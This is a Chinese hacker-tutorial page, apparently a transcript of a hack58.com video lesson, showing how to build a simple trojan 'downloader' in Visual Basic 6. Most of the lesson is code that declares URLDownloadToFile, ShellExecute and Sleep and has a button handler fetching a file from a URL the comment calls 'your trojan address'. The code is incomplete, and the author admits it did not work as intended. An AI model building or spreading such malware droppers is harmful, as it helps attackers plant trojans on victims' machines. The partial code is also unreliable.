-----------------------------------------------------------------------------------

黑客动画吧 http://www.hack58.com

专业的黑客动画教程网站

免费学习黑客黑客技术

成为黑客不是梦。
打造国内最大的黑客动画网站

注意：所有教程全部对外免费开放

-----------------------------------------------------------------------------------
大家凌晨好，我是地痞。。闲着无聊，就给大家做 个教程吧 
VB打造简单下载者。。。
需要工具： VB6.0精装版 我是精装版的
下面打开VB，下面。我们先把模版做好看操作！ 点错了掉了不好意思。 继续
好了。。 下面我们把代码加进去就行了
我已经准备好！
Option Explicit
'这个的意思是要求变量必须声明后才能使用
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
'这三个是函数声明

Private Sub Command1_Click()
URLDownloadToFile 0, Text1.Text, Text2.Text, 0, 0  '2个参数是你的木马地址，第3个是保存的位置，其他默认就可以
Sleep 1000 '单位是毫秒，我这里是挂起2秒
End Sub

Private Sub Form_Load()

End Sub
加进去。 测试一下 保存出来试下 就是这样的不知道哪出错了,应该不加那写，下载地址 和保存地址的

好了教程结束